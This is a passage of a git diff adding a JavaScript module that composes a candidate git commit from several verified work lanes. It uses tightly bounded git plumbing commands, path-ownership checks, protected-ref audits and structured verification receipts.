Date.now()); +} + +function ownedChunk(chunk, pathLabel) { + try { + if (typeof chunk === 'string') return BUFFER_FROM(chunk, 'utf8'); + if (BUFFER_IS_BUFFER(chunk)) return BUFFER_FROM(chunk); + } catch (error) { + if (error instanceof RunContractV1Error) throw error; + } + deny('git_execution_failed', pathLabel); +} + +function runGit(session, args, pathLabel, extra = {}) { + assertGitArgv(args, pathLabel); + if (session.commands >= MAX_COMPOSER_GIT_COMMANDS) deny('bounds_exceeded', pathLabel); + const budget = remainingMs(session); + if (budget <= 0) deny('bounds_exceeded', pathLabel); + session.commands += 1; + const env = extra.env === undefined ? GIT_CLOSED_ENV : extra.env; + assertClosedEnv(env, pathLabel); + const stdinBytes = extra.stdin; + if (stdinBytes !== undefined && !BUFFER_IS_BUFFER(stdinBytes)) deny('invalid_type', pathLabel); + return new Promise((resolve, reject) => { + let child; + try { + child = session.spawn(GIT_EXECUTABLE, [...GIT_ISOLATION_FLAGS, ...args], { + cwd: '/', + env, + stdio: [stdinBytes === undefined ? 'ignore' : 'pipe', 'pipe', 'pipe'], + windowsHide: true, + }); + } catch { + reject(new RunContractV1Error('git_execution_failed', pathLabel, MSG.git_execution_failed)); + return; + } + if (child === null || (typeof child !== 'object' && typeof child !== 'function') || IS_PROXY(child)) { + reject(new RunContractV1Error('git_execution_failed', pathLabel, MSG.git_execution_failed)); + return; + } + const stdoutChunks = []; + const stderrChunks = []; + let stdoutBytes = 0; + let settled = false; + let exceeded = false; + const finish = (error, result) => { + if (settled) return; + settled = true; + clearTimeout(timer); + if (error) reject(error); + else resolve(result); + }; + const exceed = () => { + if (exceeded) return; + exceeded = true; + try { child.kill('SIGKILL'); } catch { /* already exited */ } + finish(new RunContractV1Error('bounds_exceeded', pathLabel, MSG.bounds_exceeded)); + }; + const timer = setTimeout(exceed, MATH_MIN(MAX_GIT_TIME_MS, budget)); + const onOut = (chunk) => { + try { + const owned = ownedChunk(chunk, pathLabel); + stdoutBytes += owned.length; + if (stdoutBytes > MAX_COMPOSER_OUTPUT_BYTES) { + exceed(); + return; + } + stdoutChunks.push(owned); + } catch (error) { + finish(error instanceof RunContractV1Error + ? error + : new RunContractV1Error('git_execution_failed', pathLabel, MSG.git_execution_failed)); + } + }; + const onErr = (chunk) => { + try { + const owned = ownedChunk(chunk, pathLabel); + if (owned.length > MAX_COMPOSER_OUTPUT_BYTES) exceed(); + else stderrChunks.push(owned); + } catch { + exceed(); + } + }; + try { + if (child.stdout) child.stdout.on('data', onOut); + if (child.stderr) child.stderr.on('data', onErr); + child.once('error', () => { + finish(new RunContractV1Error('git_execution_failed', pathLabel, MSG.git_execution_failed)); + }); + child.once('close', (code, signal) => { + if (exceeded) return; + if (signal !== null && signal !== undefined) { + finish(new RunContractV1Error('git_execution_failed', pathLabel, MSG.git_execution_failed)); + return; + } + finish(null, { + exit_code: typeof code === 'number' ? code : 1, + stdout: BUFFER_CONCAT(stdoutChunks), + stderr: BUFFER_CONCAT(stderrChunks), + }); + }); + if (stdinBytes !== undefined && child.stdin) { + child.stdin.on('error', () => {}); + child.stdin.end(stdinBytes); + } + } catch { + finish(new RunContractV1Error('git_execution_failed', pathLabel, MSG.git_execution_failed)); + } + }); +} + +function repoArgs(repositoryPath, args) { + return ['-C', repositoryPath, ...args]; +} + +function indexEnv(indexPath) { + return capturedFreeze({ + ...GIT_CLOSED_ENV, + GIT_INDEX_FILE: indexPath, + ...COMMIT_ENV, + }); +} + +function commitEnv() { + return capturedFreeze({ ...GIT_CLOSED_ENV, ...COMMIT_ENV }); +} + +function oneLine(buffer, pathLabel, pattern) { + const text = buffer.toString('utf8'); + const line = text.endsWith('\n') ? text.slice(0, -1) : text; + if (line.includes('\n') || (pattern !== undefined && !capturedTest(pattern, line))) { + deny('git_execution_failed', pathLabel); + } + return line; +} + +function parseUtf8Path(bytes, pathLabel) { + const text = bytes.toString('utf8'); + if (BUFFER_FROM(text, 'utf8').length !== bytes.length) deny('delta_policy_denied', pathLabel); + if (text.length === 0 || text.startsWith('/') || text.includes('\0') || text.includes('\\')) { + deny('delta_policy_denied', pathLabel); + } + const segments = text.split('/'); + for (let i = 0; i < segments.length; i += 1) { + const segment = segments[i]; + if (segment.length === 0 || segment === '.' || segment === '..') deny('delta_policy_denied', pathLabel); + } + if (text.normalize('NFC') !== text) deny('delta_policy_denied', pathLabel); + return text; +} + +function splitNul(buffer) { + const parts = []; + let start = 0; + for (let i = 0; i < buffer.length; i += 1) { + if (buffer[i] === 0) { + parts.push(buffer.subarray(start, i)); + start = i + 1; + } + } + if (start < buffer.length) parts.push(buffer.subarray(start)); + return parts; +} + +function parseDiffTree(buffer, pathLabel) { + if (buffer.length === 0) { + return { records: [], paths: [], rename: false, copy: false }; + } + const parts = splitNul(buffer); + const records = []; + const paths = []; + const seen = new SET_CTOR(); + let rename = false; + let copy = false; + let index = 0; + while (index < parts.length) { + const headerBytes = parts[index]; + index += 1; + if (headerBytes.length === 0) continue; + const header = headerBytes.toString('utf8'); + if (!header.startsWith(':')) deny('git_execution_failed', pathLabel); + const fields = header.slice(1).split(' '); + if (fields.length !== 5) deny('git_execution_failed', pathLabel); + const [oldMode, newMode, oldSha, newSha, status] = fields; + if (!capturedTest(MODE_PATTERN, oldMode) || !capturedTest(MODE_PATTERN, newMode)) { + deny('delta_policy_denied', pathLabel); + } + if ((oldSha !== ZERO_SHA && !isSha40(oldSha)) || (newSha !== ZERO_SHA && !isSha40(newSha))) { + deny('git_execution_failed', pathLabel); + } + if (!capturedTest(STATUS_PATTERN, status)) deny('delta_policy_denied', pathLabel); + const status0 = status.charAt(0); + if (status0 === 'R') rename = true; + if (status0 === 'C') copy = true; + if (index >= parts.length) deny('git_execution_failed', pathLabel); + const firstPath = parseUtf8Path(parts[index], pathLabel); + index += 1; + let secondPath; + if (status0 === 'R' || status0 === 'C') { + if (index >= parts.length) deny('git_execution_failed', pathLabel); + secondPath = parseUtf8Path(parts[index], pathLabel); + index += 1; + } + const changedPath = secondPath === undefined ? firstPath : secondPath; + if (seen.has(changedPath)) deny('conflict_unresolved', pathLabel); + seen.add(changedPath); + paths.push(changedPath); + records.push({ + old_mode: oldMode, + new_mode: newMode, + old_sha: oldSha, + new_sha: newSha, + status: status0, + path: changedPath, + }); + } + paths.sort((left, right) => (left < right ? -1 : left > right ? 1 : 0)); + return { records, paths, rename, copy }; +} + +function denyDeltaPolicy(record, pathLabel) { + if (record.status === 'R' || record.status === 'C' || record.status === 'T' + || record.status === 'U' || record.status === 'X' || record.status === 'B') { + deny('delta_policy_denied', pathLabel); + } + if (record.old_mode === MODE_SYMLINK || record.new_mode === MODE_SYMLINK) { + deny('delta_policy_denied', pathLabel); + } + if (record.old_mode === MODE_GITLINK || record.new_mode === MODE_GITLINK) { + deny('delta_policy_denied', pathLabel); + } + if (record.old_mode !== MODE_MISSING && record.new_mode !== MODE_MISSING + && record.old_mode !== record.new_mode) { + deny('delta_policy_denied', pathLabel); + } + if (record.new_mode !== MODE_MISSING && record.new_mode !== MODE_FILE) { + deny('delta_policy_denied', pathLabel); + } +} + +function pathOwned(pathValue, compiledScopes) { + for (let i = 0; i < compiledScopes.length; i += 1) { + if (compiledRepoGlobMatchesPath(compiledScopes[i], pathValue, 'path') === true) return true; + } + return false; +} + +function parseExpectedRefs(input, pathLabel) { + try { assertNotProxy(input, pathLabel); } catch (error) { remap(error, pathLabel); } + if (!IS_ARRAY(input) || input.length < 1 || input.length > 16) deny('out_of_range', pathLabel); + const refs = []; + for (let i = 0; i < input.length; i += 1) { + const entryPath = `${pathLabel}[${i}]`; + const object = assertClosedObject(ownDataValue(input, STRING(i), entryPath), + EXPECTED_REF_ALLOWED_KEYS, entryPath); + requireKeys(object, EXPECTED_REF_ALLOWED_KEYS, entryPath); + const ref = ownString(object, 'ref', entryPath); + const sha = ownString(object, 'sha', entryPath); + if (!isSha40(sha)) deny('invalid_format', entryPath); + refs.push(freezeRecord(EXPECTED_REF_ALLOWED_KEYS, { ref, sha })); + } + return capturedFreeze(refs); +} + +function parseLane(input, pathLabel, seen) { + const object = assertClosedObject(input, LANE_ALLOWED_KEYS, pathLabel); + requireKeys(object, LANE_REQUIRED_KEYS, pathLabel); + const assignmentId = ownString(object, 'assignment_id', pathLabel); + if (!isAssignmentId(assignmentId)) deny('invalid_format', pathLabel); + if (seen.has(assignmentId)) deny('invalid_format', pathLabel); + seen.add(assignmentId); + const role = ownString(object, 'role', pathLabel); + const access = ownString(object, 'access', pathLabel); + let expectedAccess; + try { expectedAccess = requiredAccessForRole(role); } catch { deny('invalid_format', pathLabel); } + if (access !== expectedAccess) deny('invalid_format', pathLabel); + const state = ownString(object, 'state', pathLabel); + if (!capturedIncludes(LANE_STATES, state)) deny('invalid_format', pathLabel); + const kind = access === 'writer' ? 'required_writer' : 'optional_advisory'; + const minPatterns = access === 'writer' ? 1 : 0; + const maxPatterns = access === 'writer' ? SCOPE_MAX_PATTERNS : 0; + const writeScopeValue = ownDataValue(object, 'write_scope', pathLabel); + try { + assertWriteScopePatterns(writeScopeValue, `${pathLabel}.write_scope`, { minPatterns, maxPatterns }); + } catch (error) { remap(error, pathLabel); } + const writeScope = []; + for (let i = 0; i < writeScopeValue.length; i += 1) writeScope.push(writeScopeValue[i]); + const compiled = []; + for (let i = 0; i < writeScope.length; i += 1) { + compiled.push(compileRepoGlob(writeScope[i], `${pathLabel}.write_scope`)); + } + let headSha = null; + if (hasOwn(object, 'head_sha')) { + headSha = ownString(object, 'head_sha', pathLabel); + if (!isSha40(headSha)) deny('invalid_format', pathLabel); + } + if (kind === 'required_writer' && state === 'verified' && headSha === null) { + deny('missing_key', pathLabel); + } + if (state !== 'verified' && headSha !== null) deny('unverified_delta_denied', pathLabel); + return freezeRecord(capturedFreeze([ + ...LANE_ALLOWED_KEYS, 'compiled_write_scope', 'kind', + ]), { + assignment_id: assignmentId, + role, + access, + state, + write_scope: capturedFreeze([...writeScope]), + compiled_write_scope: capturedFreeze(compiled), + head_sha: headSha, + kind, + }); +} + +function parseLanes(input, pathLabel) { + try { assertNotProxy(input, pathLabel); } catch (error) { remap(error, pathLabel); } + if (!IS_ARRAY(input) || input.length < 1 || input.length > MAX_COMPOSER_LANES) { + deny('out_of_range', pathLabel); + } + const seen = new SET_CTOR(); + const lanes = []; + for (let i = 0; i < input.length; i += 1) { + lanes.push(parseLane(ownDataValue(input, STRING(i), `${pathLabel}[${i}]`), `${pathLabel}[${i}]`, seen)); + } + return capturedFreeze(lanes); +} + +function parseIdentity(input, pathLabel) { + const object = assertClosedObject(input, IDENTITY_ALLOWED_KEYS, pathLabel); + requireKeys(object, IDENTITY_REQUIRED_KEYS, pathLabel); + const repositoryPath = ownString(object, 'repository_path', pathLabel); + try { assertRepositoryPath(repositoryPath, pathLabel); } catch (error) { remap(error, pathLabel); } + const baseSha = ownString(object, 'base_sha', pathLabel); + try { assertBaseSha(baseSha, pathLabel); } catch (error) { remap(error, pathLabel); } + const runId = ownString(object, 'run_id', pathLabel); + try { assertRunId(runId, pathLabel); } catch (error) { remap(error, pathLabel); } + const assignmentId = ownString(object, 'assignment_id', pathLabel); + if (!isAssignmentId(assignmentId)) deny('invalid_format', pathLabel); + return freezeRecord(IDENTITY_ALLOWED_KEYS, { + repository_path: repositoryPath, + base_sha: baseSha, + run_id: runId, + assignment_id: assignmentId, + }); +} + +export function parseRunCandidateComposeRequestV1(input) { + const pathLabel = 'compose'; + const object = assertClosedObject(input, REQUEST_ALLOWED_KEYS, pathLabel); + requireKeys(object, REQUEST_REQUIRED_KEYS, pathLabel); + if (ownString(object, 'schema', pathLabel) !== RUN_CANDIDATE_COMPOSER_SCHEMA_ID) { + deny('invalid_format', pathLabel); + } + if (ownDataValue(object, 'version', pathLabel) !== RUN_CANDIDATE_COMPOSER_VERSION) { + deny('invalid_format', pathLabel); + } + const identity = parseIdentity(ownDataValue(object, 'identity', pathLabel), `${pathLabel}.identity`); + const expectedBaseRef = ownString(object, 'expected_base_ref', pathLabel); + if (!capturedTest(BASE_REF_PATTERN, expectedBaseRef)) deny('invalid_format', pathLabel); + const expectedProtectedRefs = parseExpectedRefs( + ownDataValue(object, 'expected_protected_refs', pathLabel), `${pathLabel}.expected_protected_refs`, + ); + const lanes = parseLanes(ownDataValue(object, 'lanes', pathLabel), `${pathLabel}.lanes`); + let allowDiagnostic = false; + if (hasOwn(object, 'allow_diagnostic_partial_candidate')) { + const flag = ownDataValue(object, 'allow_diagnostic_partial_candidate', pathLabel); + if (flag !== true && flag !== false) deny('invalid_type', pathLabel); + allowDiagnostic = flag === true; + } + return freezeRecord(capturedFreeze([ + ...REQUEST_ALLOWED_KEYS, 'candidate_ref', + ]), { + schema: RUN_CANDIDATE_COMPOSER_SCHEMA_ID, + version: RUN_CANDIDATE_COMPOSER_VERSION, + identity, + expected_base_ref: expectedBaseRef, + expected_protected_refs: expectedProtectedRefs, + lanes, + allow_diagnostic_partial_candidate: allowDiagnostic, + candidate_ref: expectedCandidateRefV1({ run_id: identity.run_id }), + }); +} + +function parseOptions(options, pathLabel = 'options') { + if (options === undefined) { + return freezeRecord(OPTIONS_ALLOWED_KEYS, { + spawn: SPAWN, auditProtectedRefs: auditProtectedRefsV1, + }); + } + try { assertNotProxy(options, pathLabel); } catch (error) { remap(error, pathLabel); } + try { assertPlainObject(options, 'invalid_type', pathLabel, pathLabel); } catch (error) { + remap(error, pathLabel); + } + let keys; + try { keys = OWN_KEYS(options); } catch { deny('invalid_type', pathLabel); } + const allowedSet = new SET_CTOR(OPTIONS_ALLOWED_KEYS); + for (let i = 0; i < keys.length; i += 1) { + const key = keys[i]; + if (typeof key === 'symbol') deny('symbol_key_denied', pathLabel); + if (!allowedSet.has(key)) deny('unknown_key', pathLabel); + } + let spawn = SPAWN; + if (hasOwn(options, 'spawn')) { + spawn = optOwn(options, 'spawn'); + if (typeof spawn !== 'function' || IS_PROXY(spawn)) deny('invalid_type', pathLabel); + } + let audit = auditProtectedRefsV1; + if (hasOwn(options, 'auditProtectedRefs')) { + audit = optOwn(options, 'auditProtectedRefs'); + if (typeof audit !== 'function' || IS_PROXY(audit)) deny('invalid_type', pathLabel); + } + return freezeRecord(OPTIONS_ALLOWED_KEYS, { spawn, auditProtectedRefs: audit }); +} + +function emptySideEffects() { + const values = {}; + for (let i = 0; i < COMPOSER_SIDE_EFFECT_NONCLAIMS.length; i += 1) { + values[COMPOSER_SIDE_EFFECT_NONCLAIMS[i]] = false; + } + return freezeRecord(COMPOSER_SIDE_EFFECT_NONCLAIMS, values); +} + +function classifyLanes(lanes) { + const applied = []; + const blocked = []; + const results = []; + for (let i = 0; i < lanes.length; i += 1) { + const lane = lanes[i]; + const blocking = lane.kind === 'required_writer' + && capturedIncludes(BLOCKING_LANE_STATES, lane.state); + if (blocking) blocked.push(lane.assignment_id); + const eligible = lane.kind === 'required_writer' && lane.state === 'verified'; + if (eligible) applied.push(lane); + results.push(freezeRecord(LANE_RESULT_KEYS, { + assignment_id: lane.assignment_id, + kind: lane.kind, + state: lane.state, + applied: false, + path_count: 0, + head_sha: lane.head_sha, + write_scope: lane.write_scope, + })); + } + return { applied, blocked, results }; +} + +async function assertCommit(session, repositoryPath, sha, pathLabel) { + const typeResult = await runGit( + session, repoArgs(repositoryPath, ['cat-file', '-t', '--', sha]), pathLabel, + ); + if (typeResult.exit_code !== 0 || oneLine(typeResult.stdout, pathLabel) !== 'commit') { + deny('unverified_delta_denied', pathLabel); + } +} + +async function assertAncestor(session, repositoryPath, baseSha, headSha, pathLabel) { + const result = await runGit( + session, + repoArgs(repositoryPath, ['merge-base', '--is-ancestor', '--', baseSha, headSha]), + pathLabel, + ); + if (result.exit_code !== 0) deny('unverified_delta_denied', pathLabel); +} + +async function observeDiff(session, repositoryPath, baseSha, headSha, pathLabel) { + const raw = await runGit(session, repoArgs(repositoryPath, [ + 'diff-tree', '--no-commit-id', '--raw', '--full-index', '-z', '-r', + '-M', '-C', '--find-copies-harder', '--end-of-options', baseSha, headSha, + ]), pathLabel); + if (raw.exit_code !== 0) deny('git_execution_failed', pathLabel); + return parseDiffTree(raw.stdout, pathLabel); +} + +function revalidateRecords(records, lane, appliedPaths, siblingScopes, pathLabel) { + if (records.rename === true || records.copy === true) deny('delta_policy_denied', pathLabel); + for (let i = 0; i < records.records.length; i += 1) { + const record = records.records[i]; + denyDeltaPolicy(record, pathLabel); + if (appliedPaths.has(record.path)) deny('conflict_unresolved', pathLabel); + if (pathOwned(record.path, siblingScopes)) deny('path_ownership_denied', pathLabel); + if (!pathOwned(record.path, lane.compiled_write_scope)) deny('path_ownership_denied', pathLabel); + } +} + +function indexInfoBytes(records) { + const chunks = []; + for (let i = 0; i < records.length; i += 1) { + const record = records[i]; + const mode = record.new_mode === MODE_MISSING ? MODE_MISSING : record.new_mode; + const sha = record.new_mode === MODE_MISSING ? ZERO_SHA : record.new_sha; + chunks.push(BUFFER_FROM(`${mode} ${sha}\t${record.path}\0`, 'utf8')); + } + return BUFFER_CONCAT(chunks); +} + +async function currentRefSha(session, repositoryPath, ref, pathLabel) { + const symbolic = await runGit( + session, repoArgs(repositoryPath, ['symbolic-ref', '--quiet', '--end-of-options', ref]), pathLabel, + ); + if (symbolic.exit_code === 0) deny('protected_ref_write_denied', pathLabel); + const parsed = await runGit( + session, repoArgs(repositoryPath, ['rev-parse', '--verify', '--end-of-options', ref]), pathLabel, + ); + if (parsed.exit_code !== 0) return null; + const sha = oneLine(parsed.stdout, pathLabel, /^[0-9a-f]{40}$/u); + if (!isSha40(sha)) deny('git_execution_failed', pathLabel); + return sha; +} + +async function parentCountOf(session, repositoryPath, sha, pathLabel) { + const result = await runGit( + session, repoArgs(repositoryPath, ['rev-list', '--parents', '--max-count=1', sha]), pathLabel, + ); + if (result.exit_code !== 0) deny('git_execution_failed', pathLabel); + const line = oneLine(result.stdout, pathLabel); + const parts = line.split(' '); + if (parts[0] !== sha) deny('git_execution_failed', pathLabel); + return parts.length - 1; +} + +function emitFact(kind, method, request, status, payload, sequence, durationMs) { + const factId = kind === 'git_diff' ? 'git-diff' : 'git-identity'; + return parseVerifiedFactV1({ + fact_id: factId, + fact_kind: kind, + status, + code: 'host_observed', + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + sequence, + subject: kind === 'git_diff' ? 'diff' : 'candidate', + authority: 'platform_git', + method, + input_digest: digestOf({ + run_id: request.identity.run_id, base_sha: request.identity.base_sha, + }), + output_digest: digestOf(payload), + exit_code: status === 'verified' ? 0 : 1, + duration_ms: durationMs > MAX_DURATION_MS ? MAX_DURATION_MS : durationMs, + truncated: false, + payload, + artifact_digests: [], + }); +} + +function emitDiscrepancy(id, request, factIds, sequence) { + return parseEvidenceDiscrepancyV1({ + discrepancy_id: id, + discrepancy_kind: id === 'conflict' ? 'integrity' : 'security', + status: 'recorded', + code: id === 'conflict' ? 'claim_fact_mismatch' : 'security_boundary', + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + sequence, + claim_ids: [], + fact_ids: factIds, + artifact_digests: [], + }); +} + +function durationOf(session) { + return MATH_MAX(0, MATH_FLOOR(Date.now() - session.startedAt)); +} + +function bindAuthority(request) { + parseGitAuthorityPolicyV1(GIT_AUTHORITY_POLICY_V1); + const identity = bindAuthorityIdentityV1({ + repository_path: request.identity.repository_path, + base_sha: request.identity.base_sha, + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + }); + denyWorkerRemoteMutation('compose_candidate_non_authoritative'); + const candidateRef = request.candidate_ref; + if (!isRunOwnedCandidateRefV1(candidateRef, request.identity.run_id)) { + deny('protected_ref_write_denied', 'compose.candidate_ref'); + } + if (!candidateRef.startsWith(CANDIDATE_REF_NAMESPACE) + || !candidateRef.endsWith(`/${CANDIDATE_REF_LEAF}`)) { + deny('protected_ref_write_denied', 'compose.candidate_ref'); + } + const verdict = classifyGitOperationV1({ + schema: GIT_AUTHORITY_SCHEMA_ID, + version: GIT_AUTHORITY_VERSION, + actor: ACTOR_VALUES[1], + operation: 'compose_candidate_non_authoritative', + identity: { + repository_path: request.identity.repository_path, + base_sha: request.identity.base_sha, + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + }, + ref: candidateRef, + history: { parent_counts: [1] }, + }); + if (verdict.verdict !== 'allowed' || verdict.ref_class !== 'platform_run_owned') { + deny(verdict.code === 'protected_ref_write_denied' + ? 'protected_ref_write_denied' + : 'remote_mutation_denied', 'compose.ref'); + } + return candidateRef; +} + +function siblingScopesOf(lanes, assignmentId) { + const compiled = []; + for (let i = 0; i < lanes.length; i += 1) { + const lane = lanes[i]; + if (lane.assignment_id === assignmentId || lane.kind !== 'required_writer') continue; + for (let j = 0; j < lane.compiled_write_scope.length; j += 1) { + compiled.push(lane.compiled_write_scope[j]); + } + } + return compiled; +} + +function receiptOf(request, values) { + return freezeData(freezeRecord(RECEIPT_KEYS, { + schema: RUN_CANDIDATE_COMPOSER_RECEIPT_SCHEMA_ID, + version: RUN_CANDIDATE_COMPOSER_VERSION, + status: values.status, + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + base_sha: request.identity.base_sha, + candidate_ref: request.candidate_ref, + candidate_sha: values.candidate_sha, + parent_sha: values.parent_sha, + parent_count: values.parent_count, + applied_assignment_ids: capturedFreeze(values.applied_assignment_ids), + blocked_assignment_ids: capturedFreeze(values.blocked_assignment_ids), + lanes: capturedFreeze(values.lanes), + allow_diagnostic_partial_candidate: request.allow_diagnostic_partial_candidate, + incomplete: values.status === 'incomplete_candidate', + ready_for_codex_review: false, + idempotent: values.idempotent === true, + checks: COMPOSER_CHECKS, + side_effects: emptySideEffects(), + facts: capturedFreeze(values.facts), + discrepancies: capturedFreeze(values.discrepancies), + })); +} + +async function auditAfter(request, options, session) { + return options.auditProtectedRefs({ + schema: 'codex-co-engineer.protected-ref-audit.v1', + version: 1, + identity: { + repository_path: request.identity.repository_path, + base_sha: request.identity.base_sha, + run_id: request.identity.run_id, + assignment_id: request.identity.assignment_id, + }, + expected_refs: request.expected_protected_refs.map((entry) => ({ + ref: entry.ref, sha: entry.sha, + })), + }, { spawn: session.spawn }); +} + +export async function composeRunOwnedCandidateV1(input, options) { + const request = parseRunCandidateComposeRequestV1(input); + const parsedOptions = parseOptions(options); + bindAuthority(request); + const classified = classifyLanes(request.lanes); + const durationPlaceholder = 0; + if (classified.blocked.length > 0 && request.allow_diagnostic_partial_candidate !== true) { + return receiptOf(request, { + status: 'blocked', + candidate_sha: null, + parent_sha: request.identity.base_sha, + parent_count: 0, + applied_assignment_ids: [], + blocked_assignment_ids: classified.blocked, + lanes: classified.results, + idempotent: false, + facts: [ + emitFact('git_identity', 'ancestry_check', request, 'failed', { + base_sha: request.identity.base_sha, head_sha: request.identity.base_sha, + }, 0, durationPlaceholder), + ], + discrepancies: [emitDiscrepancy('required-lane', request, ['git-identity'], 1)], + }); + } + if (classified.applied.length === 0) { + return receiptOf(request, { + status: request.allow_diagnostic_partial_candidate === true + ? 'incomplete_candidate' : 'blocked', + candidate_sha: null, + parent_sha: request.identity.base_sha, + parent_count: 0, + applied_assignment_ids: [], + blocked_assignment_ids: classified.blocked, + lanes: classified.results, + idempotent: false, + facts: [ + emitFact('git_identity', 'ancestry_check', request, 'failed', { + base_sha: request.identity.base_sha, head_sha: request.identity.base_sha, + }, 0, durationPlaceholder), + ], + discrepancies: [emitDiscrepancy('incomplete-candidate', request, ['git-identity'], 1)], + }); + } + + const session = createSession(parsedOptions.spawn); + const repositoryPath = request.identity.repository_path; + await assertCommit(session, repositoryPath, request.identity.base_sha, 'compose.base_sha'); + const appliedPaths = new SET_CTOR(); + const appliedIds = []; + const laneResults = classified.results.map((entry) => ({ ...entry })); + const indexRoot = await mkdtemp(PATH_JOIN(tmpdir(), 'cce-p35-index-')); + const indexPath = PATH_JOIN(indexRoot, 'index'); + try { + const env = indexEnv(indexPath); + const readTree = await runGit( + session, + repoArgs(repositoryPath, ['read-tree', '--reset', '--', request.identity.base_sha]), + 'compose.read-tree', + { env }, + ); + if (readTree.exit_code !== 0) deny('git_execution_failed', 'compose.read-tree'); + + for (let i = 0; i < classified.applied.length; i += 1) { + const lane = classified.applied[i]; + await assertCommit(session, repositoryPath, lane.head_sha, 'compose.lane'); + await assertAncestor( + session, repositoryPath, request.identity.base_sha, lane.head_sha, 'compose.lane', + ); + const diff = await observeDiff( + session, repositoryPath, request.identity.base_sha, lane.head_sha, 'compose.diff', + ); + revalidateRecords( + diff, lane, appliedPaths, siblingScopesOf(request.lanes, lane.assignment_id), 'compose.diff', + ); + if (diff.records.length > 0) { + const update = await runGit( + session, + repoArgs(repositoryPath, ['update-index', '--add', '--remove', '-z', '--index-info']), + 'compose.update-index', + { env, stdin: indexInfoBytes(diff.records) }, + ); + if (update.exit_code !== 0) deny('conflict_unresolved', 'compose.update-index'); + } + for (let p = 0; p < diff.paths.length; p += 1) appliedPaths.add(diff.paths[p]); + appliedIds.push(lane.assignment_id); + for (let r = 0; r < laneResults.length; r += 1) { + if (laneResults[r].assignment_id === lane.assignment_id) { + laneResults[r].applied = true; + laneResults[r].path_count = diff.paths.length; + } + } + } + + const treeResult = await runGit( + session, repoArgs(repositoryPath, ['write-tree']), 'compose.write-tree', { env }, + ); + if (treeResult.exit_code !== 0) deny('git_execution_failed', 'compose.write-tree'); + const treeSha = oneLine(treeResult.stdout, 'compose.write-tree', /^[0-9a-f]{40}$/u); + const commitResult = await runGit( + session, + repoArgs(repositoryPath, [ + 'commit-tree', treeSha, '-p', request.identity.base_sha, '-m', CANDIDATE_COMMIT_MESSAGE, + ]), + 'compose.commit-tree', + { env: commitEnv() }, + ); + if (commitResult.exit_code !== 0) deny('git_execution_failed', 'compose.commit-tree'); + const candidateSha = oneLine(commitResult.stdout, 'compose.commit-tree', /^[0-9a-f]{40}$/u); + const parents = await parentCountOf(session, repositoryPath, candidateSha, 'compose.parents'); + if (parents !== 1) deny('git_execution_failed', 'compose.parents'); + const existing = await currentRefSha(session, repositoryPath, request.candidate_ref, 'compose.ref'); + const idempotent = existing === candidateSha; + if (existing !== candidateSha) { + const updateRef = await runGit( + session, + repoArgs(repositoryPath, [ + 'update-ref', '--no-deref', '--', request.candidate_ref, candidateSha, + ]), + 'compose.update-ref', + { env: commitEnv() }, + ); + if (updateRef.exit_code !== 0) deny('git_execution_failed', 'compose.update-ref'); + } + const confirm = await currentRefSha(session, repositoryPath, request.candidate_ref, 'compose.ref'); + if (confirm !== candidateSha) deny('git_execution_failed', 'compose.ref'); + const audit = await auditAfter(request, parsedOptions, session); + if (audit.status !== 'verified') deny('protected_ref_write_denied', 'compose.audit'); + + const durationMs = durationOf(session); + const paths = [...appliedPaths].sort(); + const pathDigest = digestOf(paths); + if (!capturedTest(SHA256_PATTERN, pathDigest)) deny('git_execution_failed', 'compose.diff'); + const status = classified.blocked.length > 0 ? 'incomplete_candidate' : 'composed'; + const frozenLanes = laneResults.map((entry) => freezeRecord(LANE_RESULT_KEYS, entry)); + return receiptOf(request, { + status, + candidate_sha: candidateSha, + parent_sha: request.identity.base_sha, + parent_count: 1, + applied_assignment_ids: appliedIds, + blocked_assignment_ids: classified.blocked, + lanes: frozenLanes, + idempotent, + facts: [ + emitFact('git_identity', 'ancestry_check', request, 'verified', { + base_sha: request.identity.base_sha, head_sha: candidateSha, + }, 0, durationMs), + emitFact('git_diff', 'scope_match', request, 'verified', { + path_count: paths.length, path_set_digest: pathDigest, + }, 1, durationMs), + ], + discrepancies: status === 'incomplete_candidate' + ? [emitDiscrepancy('incomplete-candidate', request, ['git-identity'], 2)] + : [], + }); + } finally { + await rm(indexRoot, { recursive: true, force: true }).catch(() => {}); + } +} + +export function describeRunCandidateComposerV1() { + return freezeData(capturedFreeze({ + schema: RUN_CANDIDATE_COMPOSER_SCHEMA_ID, + version: RUN_CANDIDATE_COMPOSER_VERSION, + receipt_schema: RUN_CANDIDATE_COMPOSER_RECEIPT_SCHEMA_ID, + rule: 'frozen_verified_child_deltas_binary_safe_manifest_order', + api: capturedFreeze([ + 'composeRunOwnedCandidateV1', 'describeRunCandidateComposerV1', + 'parseRunCandidateComposeRequestV1', + ]), + statuses: COMPOSER_STATUSES, + lane_states: LANE_STATES, + checks: COMPOSER_CHECKS, + error_codes: RUN_CANDIDATE_COMPOSER_ERROR_CODES, + side_effect_nonclaims: COMPOSER_SIDE_EFFECT_NONCLAIMS, + candidate_ref_namespace: CANDIDATE_REF_NAMESPACE, + candidate_ref_leaf: CANDIDATE_REF_LEAF, + max_lanes: MAX_COMPOSER_LANES, + conflict_repair: false, + ready_for_codex_review: false, + remote_mutated: false, + gate_a_claimed: false, + imports_server: false, + imports_supervisor: false, + imports_runtime: false, + imports_scheduler: false, + imports_provider: false, + composed_surfaces: capturedFreeze({ + git_authority: GIT_AUTHORITY_SCHEMA_ID, + protected_ref_audit: 'codex-co-engineer.protected-ref-audit.v1', + evidence_bundle: 'codex-co-engineer.evidence-bundle.v1', + }), + })); +} + +capturedFreeze(parseRunCandidateComposeRequestV1); +capturedFreeze(composeRunOwnedCandidateV1); +capturedFreeze(describeRunCandidateComposerV1); diff --git a/plugins/codex-co-engineer/mcp/v3/run-combined-verifier.mjs b/plugins/codex-co-engineer/mcp/v3/run-combined-verifier.mjs new file mode 100644 index 0000000..d1751a6 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/run-combined-verifier.mjs @@ -0,0 +1,882 @@ +// RunCombinedVerifierV1 — combined-candidate verification (P35; ADR 0001 +// `gate_a_candidate_composition_and_combined_verification`, +// `diagnostic_partial_candidate_never_ready`, `codex_only_final_acceptance`). +// +// Additive v3 module. It verifies a run-owned candidate through accepted +// P13/P14/P15/P16/P28/P30/P32 evidence. It never repairs conflicts, never +// 